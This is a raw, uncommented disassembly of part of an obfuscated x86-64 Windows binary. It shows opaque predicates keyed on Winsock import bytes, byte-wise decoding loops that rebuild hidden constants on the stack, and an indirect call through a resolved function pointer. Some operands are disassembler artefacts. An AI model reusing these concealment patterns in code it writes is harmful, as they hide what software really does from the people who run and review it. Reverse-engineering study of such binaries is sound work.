movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e9999
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e9999
mov dword [rsp + 0x60], 8
jmp 0x1400e99ef
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e99ef
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [r9 + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
and r8d, dword [rsp + 0x60]
add r8d, r8d
mov edx, dword [r9 + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
sub edx, r8d
add edx, r13d
mov dword [r9 + rax*4 + 4], edx
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
cmp eax, 1
jb 0x1400e9003
xor r13d, r13d
mov bl, byte [rsp + 0x24]
lea rcx, reloc.WS2_32.dll_getsockopt
mov r12d, 1
mov r14b, gethostname
mov byte [r9], r12b
mov r15b, reloc.WLDAP32.dll_Ordinal_60
mov eax, dword [r9 + 4]
mov dword [rsp + 0x70], 0x7c784d99
mov dword [rsp + 0x74], 0x42bc7e40
mov dword [rsp + 0x78], 0xbb45427d
mov rsi, qword [rcx + rax*8]
xor eax, eax
mov qword [rbp - 0x76], rax
mov word [rbp - 0x6e], ax
mov dword [rsp + 0x7c], 0x69a46e72
mov dword [rbp - 0x80], 0xa3556c59
mov dword [rbp - 0x7c], 0x66656654
mov word [rbp - 0x78], 0xc96d
call fcn.14011b4ec
mov rdi, qword [rax]
call fcn.14011b4f4
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x24
jae 0x1400ea02d
movzx r8d, byte [rsp + r9 + 0x70]
mov edx, r8d
cmp rdi, r9
ja 0x1400ea024
lea r11, [r10 + 1]
cmp rdi, r11
jae 0x1400e9aec
movabs rcx, 0xc13d8852aa818e63
mov bl, r8b
add rcx, r9
mov al, cl
and al, dl
add al, al
sub bl, al
add bl, 0x4b
add bl, cl
jmp 0x1400e9b0c
je 0x1400e9fb6
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1400e9f72
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1400e9f59
cmp r10, r9
ja 0x1400ea01b
cmp rdi, r11
jae 0x1400e9b2f
lea ebx, [r9 + 0x1f]
mov al, bl
and al, r8b
add al, al
sub bl, al
add bl, 0x27
add bl, r8b
jmp 0x1400e9b4f
je 0x1400e9f27
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1400e9f11
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1400e9ed0
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1400e9c59
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1400e9c39
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1400e9c20
lea rdi, [r10 + 1]
lea r10, [rdi + 0x7a]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x1400ea000
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1400e9fe5
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 0x3e8]
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1400e9c05
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1400e9be9
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1400e9bce
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x42]
jmp 0x1400e9b5c
lea ebx, [r9 + 0x54]
mov r11b, r9b
mov al, bl
and al, r8b
add al, al
sub bl, al
sub bl, 0x4c
add bl, r8b
jmp 0x1400e9ee7
lea ecx, [r9 - 0x72]
mov ebx, reloc.WS2_32.dll_ntohs
mov al, cl
and al, r8b
sub bl, al
add bl, bl
add bl, cl
add bl, r8b
jmp 0x1400e9f8d
mov cl, r9b
sub cl, r14b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1400e9fd1
lea ecx, [r9 + 0x50]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x1400e9f54
lea edx, [r9 - 0x76]
mov ecx, Ordinal_32
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
mov dl, r9b
add bl, r8b
jmp 0x1400e9f3d
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1400e9cd4
lea ecx, [r9 + 0x63]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x4b
lea rax, [r10 + rdi]
cmp rax, 5
je 0x1400e9eb6
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1400e9d86
lea ecx, [r9 - 0x69]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x21
cmp rdi, r12
jae 0x1400e9e6a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1400e9dee
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x1400e9fd1
jne 0x1400e9cf3
lea edx, [r9 + 0x3e]
mov ecx, Ordinal_41
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400e9fd1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1400e9d15
lea ecx, [r9 + 4]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x1400e9f8d
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1400e9d37
lea ecx, [r9 + 0x56]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x1400e9ea1
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1400e9d60
lea edx, [r9 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
mov al, dl
mov r11b, r9b
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400e9e83
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1400e9c76
lea ecx, [r9 - 0x1e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2e
jmp 0x1400e9f6d
jne 0x1400e9da3
mov dl, r9b
lea ecx, [rdx + 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x75
jmp 0x1400e9f3d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1400e9dc5
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0xb
jmp 0x1400e9f54
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1400e9ca5
mov r11b, r9b
lea ecx, [r12 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 7
jmp 0x1400e9ee7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1400e9e17
mov ecx, 8
mov r11b, r9b
add ecx, r11d
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x1400e9ee7
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1400e9e3d
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400e9f6d
cmp r10, 0x7a
jb 0x1400e9e60
mov dl, r9b
lea ecx, [rdx + 0x72]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx + rcx]
sub bl, r15b
jmp 0x1400e9f3d
mov byte [rsp + r9 + 0x70], bl
jmp 0x1400e9fdd
mov cl, r8b
mov r11b, r9b
lea edx, [r14 + r11]
mov al, dl
and al, r8b
sub cl, al
add cl, r15b
lea ebx, [rcx + rcx]
add bl, dl
sub r11b, 0x65
mov al, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x3d
add r11b, r8b
add r11b, bl
mov byte [rsp + r9 + 0x70], r11b
add rdi, r10
or rcx, 0xffffffffffffffff
movzx eax, bl
sub rcx, rax
add r9, rcx
jmp 0x1400e9fdd
mov ecx, 7
mov r11b, r9b
lea edx, [r11 - 2]
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400e9ee7
mov r11b, r9b
lea ecx, [r11 - 0x77]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x41
add r11b, 0x61
add r10, r12
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x59
add r11b, r8b
movzx eax, r11b
mov byte [rsp + r9 + 0x70], al
add rax, r10
sub r9, rax
jmp 0x1400e9f8d
lea ecx, [r9 - 0x55]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x53
jmp 0x1400e9f54
mov dl, r9b
lea ecx, [rdx - 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x43
sub dl, 0x2b
mov al, dl
and al, r8b
add al, al
sub dl, al
add dl, 0x2d
add dl, r8b
mov byte [rsp + r9 + 0x70], dl
add r10, r12
jmp 0x1400e9f6d
lea ecx, [r9 - 0x33]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x65
sub r9, r12
jmp 0x1400e9fdd
movabs rcx, 0xc633a99d5487c7ef
mov bl, r8b
add rcx, r9
and dl, cl
add dl, dl
sub bl, dl
add bl, 0x77
add bl, cl
mov cl, r9b
add rdi, r12
sub cl, r15b
mov al, cl
and al, r8b
add al, al
sub cl, al
or rax, 0xffffffffffffffff
sub cl, 0x5c
sub rax, rdi
add cl, r8b
mov byte [rsp + r9 + 0x70], cl
add r9, rax
jmp 0x1400e9fd1
movabs rax, 0x43b898f7ff84ab29
add rax, r9
and dl, al
add dl, dl
sub r8b, dl
lea ebx, [rax + r8]
sub bl, 0x1f
movzx eax, byte [rsp + r9 + 0x70]
add rax, r10
add r9, rax
add r9, r12
jmp 0x1400e9aa8
add r9b, 0x6f
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 9
jmp 0x1400e9aa5
sub r9b, 0x57
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
add bl, 0x61
jmp 0x1400e9a95
lea rdx, [rbp + 0x14ba9f4]
jmp 0x1400ea032
lea rdx, [rbp + 0x14d3857]
jmp 0x1400ea032
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x40]
call fcn.1400121c0
mov rcx, rax
call rsi
mov bl, byte [rsp + 0x24]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp - 0x1c], eax
movups xmmword [rbp - 0x2c], xmm0
mov byte [rbp - 0x18], al
movabs r15, 0x286e78b72290b7c1
mov dword [rbp - 0x30], 0x8384858d
mov sil, 0x68
movabs r14, 0x794b6a2567b22743
call fcn.14011b4ec
mov rdi, qword [rax]
call fcn.14011b4f4
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x19
jae 0x1400eaa4c
movzx r8d, byte [rbp + r9 - 0x30]
mov r11d, r8d
mov edx, r8d
cmp rdi, r9
ja 0x1400eaa44
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1400ea0c3
lea rcx, [r9 + r15]
mov bl, r8b
mov al, cl
and al, r11b
add al, al
sub bl, al
sub bl, 0x47
add bl, cl
jmp 0x1400ea0f0
je 0x1400ea9e0
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1400ea971
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1400ea926
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1400ea906
cmp r10, r9
ja 0x1400eaa3c
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jae 0x1400ea11d
lea ecx, [r9 - 0x2b]
mov al, r8b
and al, cl
mov bl, r8b
add al, al
sub bl, al
add bl, 0x2d
jmp 0x1400ea327
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1400ea8d1
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1400ea8ba
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1400ea8a0
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1400ea886
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1400ea871
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1400ea857
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1400ea549
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1400ea52b
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1400ea511
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x1400ea503
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1400ea4e8
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1400ea4da
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1400ea4c0
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1400ea4b2
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1400ea498
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1400ea48a
lea rdi, [r10 + 2]
lea r10, [rdi + 0xa]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1400eaa21
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1400eaa06
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x1400ea348
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x1400ea32e
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1400ea314
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1400ea472
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x1400ea45a
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1400ea442
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1400ea178
lea rdi, [r10 + 1]
lea r10, [rdi + 9]
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x1400ea426
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1400ea40b
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1400ea3f3
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x1400ea3d6
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1400ea3bc
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1400ea39e
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1400ea384
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1400ea365
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1400ea178
lea rdi, [r10 + 0x2a]
lea r10, [rdi + 0x80]
jmp 0x1400ea178
lea ecx, [r9 - 0x35]
mov al, r8b
and al, cl
mov bl, r8b
add al, al
sub bl, al
add bl, 0x73
add bl, cl
jmp 0x1400ea16b
lea ecx, [r9 + 0x49]
mov al, r8b
and al, cl
mov bl, r8b
add al, al
sub bl, al
add bl, cl
add bl, r12b
jmp 0x1400ea0f0
lea ecx, [r9 - 0x39]
mov al, r8b
and al, cl
mov bl, r8b
add al, al
mov rdx, r11
sub bl, al
sub bl, 0x71
add bl, cl
jmp 0x1400ea09a
lea ecx, [r9 - 0x58]
mov al, r8b
and al, cl
mov ebx, 0x34
sub bl, al
mov r11b, r9b
add bl, bl
add bl, r8b
add bl, cl
jmp 0x1400ea8e9
lea ecx, [r9 - 0x5c]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7c
jmp 0x1400ea91e
mov ecx, 9
lea edx, [r9 + 0x22]
mov al, r8b
mov r11b, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1400ea93c
lea ecx, [r9 - 0x60]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1400ea95c
lea edx, [r9 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1400ea95f
lea edx, [r9 - 0x64]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
sub bl, 0x44
jmp 0x1400ea850
mov ecx, Ordinal_41
lea edx, [r9 + 0x1a]
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1400ea4ab
mov cl, r9b
mov al, r8b
sub cl, sil
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x28
jmp 0x1400ea9f2
lea edx, [r9 + 0x51]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
sub bl, 0x37
jmp 0x1400ea5cd
lea edx, [r9 - 0x31]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
add bl, 0x57
jmp 0x1400ea59b
lea edx, [r9 + 0x4d]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
sub bl, 0x1b
jmp 0x1400ea569
lea edx, [r9 - 2]
mov ecx, 7
jmp 0x1400ea610
lea edx, [r9 + 0x7c]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
sub bl, 0x64
add bl, dl
jmp 0x1400ea9b5
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1400ea636
lea ecx, [r9 + 0x78]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x48
jmp 0x1400ea95f
lea edx, [r9 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x1400ea65a
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r11 + 0x74]
and al, dl
add al, al
sub bl, al
sub bl, 0x2c
jmp 0x1400ea93c
lea edx, [r9 - 0xe]
mov ecx, Ordinal_50
jmp 0x1400ea6a4
lea ecx, [r9 + 0x70]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x1400ea91b
mov ecx, 0x3f
mov r11b, r9b
mov al, r8b
lea edx, [r11 - 0x12]
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1400ea8e7
lea rax, [r10 + 0x10]
cmp rdi, rax
jae 0x1400ea5fe
lea edx, [r9 - 0x3f]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
sub bl, 0x47
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x1400ea838
lea rax, [r10 + 2]
cmp rdi, rax
jbe 0x1400ea6e0
lea edx, [r9 - 3]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
add bl, 0x15
add bl, dl
cmp rdi, 0x400
jae 0x1400ea81a
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1400ea76f
mov ecx, reloc.WLDAP32.dll_Ordinal_33
lea edx, [r9 - 0x2e]
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x3e8
jb 0x1400ea810
mov ecx, reloc.WLDAP32.dll_Ordinal_27
mov r11b, r9b
mov al, r8b
lea edx, [r11 - 0x1a]
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400ea8e9
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1400ea624
lea edx, [r9 - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1400ea9f2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1400ea648
lea edx, [r9 - 0x52]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1400ea850
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1400ea66e
lea edx, [r9 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1400ea95c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1400ea692
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r11 + 0x34]
and al, dl
add al, al
sub bl, al
sub bl, 0x6c
jmp 0x1400ea93c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1400ea6b8
lea edx, [r9 - 0x4a]
mov ecx, 3
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1400ea91e
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1400ea56b
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r11 - 0x46]
and al, dl
add al, al
sub bl, al
sub bl, 0x16
jmp 0x1400ea8e7
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1400ea704
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r11 + 0x7f]
and al, dl
add al, al
sub bl, al
sub bl, 0x79
jmp 0x1400ea8e7
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1400ea727
lea ecx, [r9 + 9]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x3f
jmp 0x1400ea95f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1400ea748
lea edx, [r9 - 0x75]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
add bl, 0x33
jmp 0x1400ea850
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1400ea59d
lea ecx, [r9 - 0x71]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x17
jmp 0x1400ea9f2
jne 0x1400ea78b
lea ecx, [r9 + 0x54]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4c
jmp 0x1400ea9f2
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1400ea7ae
lea edx, [r9 + 0x58]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
add bl, dl
sub bl, sil
jmp 0x1400ea98f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1400ea7c5
lea edx, [r9 + 0x5c]
mov ecx, 0x3e
jmp 0x1400ea65a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1400ea7e9
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r11 - 0x22]
and al, dl
add al, al
sub bl, al
sub bl, 0x12
jmp 0x1400ea93c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1400ea5cf
lea ecx, [r9 - 0x1e]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2e
jmp 0x1400ea91b
mov byte [rbp + r9 - 0x30], bl
jmp 0x1400ea9fe
mov cl, byte [rbp + r9 - 0x30]
mov r11b, r9b
mov al, r8b
lea edx, [rsi + r11]
and al, dl
sub cl, al
add cl, 0x14
lea ebx, [rcx + rcx]
jmp 0x1400ea93c
lea edx, [r9 - 0x16]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
sub bl, byte [rbp + r9 - 0x30]
sub bl, 0x66
add bl, dl
jmp 0x1400ea98f
lea ecx, [r9 + 0x67]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x2f
jmp 0x1400ea9f2
lea edx, [r9 + 0x63]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
add bl, 0x4b
jmp 0x1400ea850
lea ecx, [r9 - 0x1f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x27
jmp 0x1400ea95f
lea ecx, [r9 + 0x5f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x67
jmp 0x1400ea95c
lea ecx, [r9 - 0x27]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x11
jmp 0x1400ea91b
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r11 + 0x57]
and al, dl
add al, al
sub bl, al
sub bl, 0x61
add bl, dl
mov al, r8b
sub r11b, 0x59
and al, r11b
add al, al
sub r8b, al
add r8b, 0x6f
add r8b, r11b
mov byte [rbp + r9 - 0x30], r8b
jmp 0x1400ea91b
lea ecx, [r9 - 0x2f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x49
add r10, r12
sub r9, r12
jmp 0x1400ea9fe
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r11 - 0x33]
and al, dl
add al, al
sub bl, al
add bl, 0x65
add bl, dl
mov al, r8b
add r11b, 0x29
and al, r11b
add al, al
sub r8b, al
sub r8b, 0x1f
add r8b, r11b
add r8b, bl
mov byte [rbp + r9 - 0x30], r8b
add rdi, r10
or rcx, 0xffffffffffffffff
movzx eax, bl
sub rcx, rax
add r9, rcx
jmp 0x1400ea9fe
mov r8b, dl
movabs rcx, 0x1b054d01f1f50647
add rcx, r9
mov bl, r8b
and dl, cl
add dl, dl
sub bl, dl
add bl, 0xf
add bl, cl
lea edx, [r9 - 0x55]
mov al, r8b
and al, dl
add r10, r12
add al, al
mov cl, r8b
sub cl, al
add cl, 0x53
add cl, dl
movzx eax, cl
mov byte [rbp + r9 - 0x30], al
add rax, r10
sub r9, rax
lea edx, [r9 + 0x6c]
mov al, r8b
and al, dl
add rdi, r12
mov ecx, 6
sub cl, al
or rax, 0xffffffffffffffff
add cl, cl
sub rax, rdi
add cl, r8b
add cl, dl
mov byte [rbp + r9 - 0x30], cl
add r9, rax
jmp 0x1400ea9f2
lea rcx, [r9 + r14]
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 0x2b
movzx eax, byte [rbp + r9 - 0x30]
add rax, r10
add r9, rax
add r9, r12
jmp 0x1400ea084
add r9b, 0x45
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x1d
jmp 0x1400ea081
sub r9b, 0x3d
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x55
jmp 0x1400ea071
mov eax, dword [rbp + 0x17b757c]
jmp 0x1400eaa4f
mov eax, dword [rbp + 0xcc2d3d]
jmp 0x1400eaa4f
mov eax, dword [rbp - 0x30]
mov dword [0x140230370], eax
call fcn.1401144f0
movsx edx, al
call fcn.1401144ec
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.1401144fc
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eac38
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
movzx eax, byte [0x140230354]
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
call fcn.1401144f0
movsx edx, al
call fcn.1401144ec
movsx ecx, al
imul edx, ecx
call fcn.1401144fc
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eab59
call fcn.1401144f4
movsx edx, al
movsx eax, byte [0x140230389]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140114500
movsx ecx, al
sub r8d, ecx
call fcn.1401144f8
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400eab59
mov r9d, 8
jmp 0x1400eabf0
call fcn.1401144f0
movsx edx, al
call fcn.1401144ec
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
lea edx, [rax + rax]
call fcn.1401144fc
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edx
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400eabeb
